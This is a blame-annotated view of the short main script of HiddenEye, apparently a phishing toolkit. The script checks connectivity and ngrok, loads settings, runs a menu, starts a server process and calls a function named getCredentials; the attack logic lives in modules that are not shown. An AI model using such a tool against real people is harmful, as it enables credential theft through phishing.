2018-10-29 03:49:19 +08:00
|
|
|
#HiddenEye by Open Source Community
|
|
|
|
import multiprocessing
|
2018-10-30 23:06:13 +08:00
|
|
|
from Defs.Checks import *
|
|
|
|
from Defs.Configurations import *
|
2018-10-30 23:02:51 +08:00
|
|
|
from Defs.Actions import *
|
2018-10-29 03:49:19 +08:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
|
|
|
|
|
|
|
checkConnection()
|
|
|
|
checkNgrok()
|
|
|
|
|
|
|
|
ifSettingsNotExists()
|
|
|
|
readConfig()
|
|
|
|
config = readConfig()
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
try:
|
|
|
|
runMainMenu()
|
|
|
|
|
|
|
|
inputCustom()
|
|
|
|
##############
|
|
|
|
selectServer()
|
2018-10-30 22:32:47 +08:00
|
|
|
|
2018-10-29 03:49:19 +08:00
|
|
|
multiprocessing.Process(target=runServer).start()
|
|
|
|
getCredentials()
|
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
endMessage()
|
|
|
|
exit(0)
|